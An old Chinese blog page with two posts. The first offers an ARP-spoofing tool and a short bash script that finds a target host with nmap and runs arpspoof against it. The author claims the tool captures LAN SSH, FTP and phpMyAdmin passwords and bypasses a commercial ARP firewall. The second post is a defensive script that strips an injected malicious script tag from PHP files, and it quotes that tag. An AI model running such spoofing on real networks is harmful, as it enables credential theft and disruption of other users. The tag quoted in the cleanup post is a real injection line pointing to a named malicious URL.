LINUXQQ

十一月 28, 2009

linux arp工具+脚本

类归于: 乱7八糟 — admin @ 3:28 下午

对LINUX下所用的arp欺骗工具+自己写的脚本,由于在安装工具方便问题多多比较困难,所以发布该脚本.

    该脚本针对centos4.0/5.0 redhat 4.0/5.0  经测试可以抓出局域网SSH,FTP,PHPMYADMIN密码

 下载地址

网上有很多相关的资料 可以搜索下arpspoof

以下是自己写的对内网某ip限速脚本,此工具强大,强制突破360arp防火墙.

#!/bin/bash
Gateway=192.168.1.1
FILE=/usr/local/test
nmap 192.168.1.0/24 | grep -10 00:1A:A1:28:38:7F | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ >$FILE
if [ $? -eq 0 ]
then
{
read pig
} <$FILE
else
echo “Pigs not only on line”
fi
arpspoof -t &Gateway $pig

 

 grep -10 00:1A:A1:28:38:7F 这段MAC地址是你要限速的MAC地址,根据MAX欺骗

作者linux qq

转载http://www.linuxqq.com/a/zy/2009/1122/589.html

十一月 15, 2009

清除木马下所有PHP木马脚本

类归于: 乱7八糟 — admin @ 12:07 下午

#!/bin/sh

if [ $# -gt 1  ]; then
    echo “Usage: $0 [FileName]”
    exit 1
elif [ $# -eq 1 ]; then
    MY_FILE=$1
else
    MY_FILE=$0
fi

if [ ! -f $MY_FILE ]; then
    echo “$MY_FILE does not exist!”
    exit 2
fi

MY_LINE_NO=1
while read MY_LINE
do
  perl -pi -e ’s|<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>| |g’ $MY_LINE
done < $MY_FILE

先使用 find . /-name >123 然后./shell.sh 123

<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>

这句是木马 里面的反斜杠转义的意思

WordPress 所驱动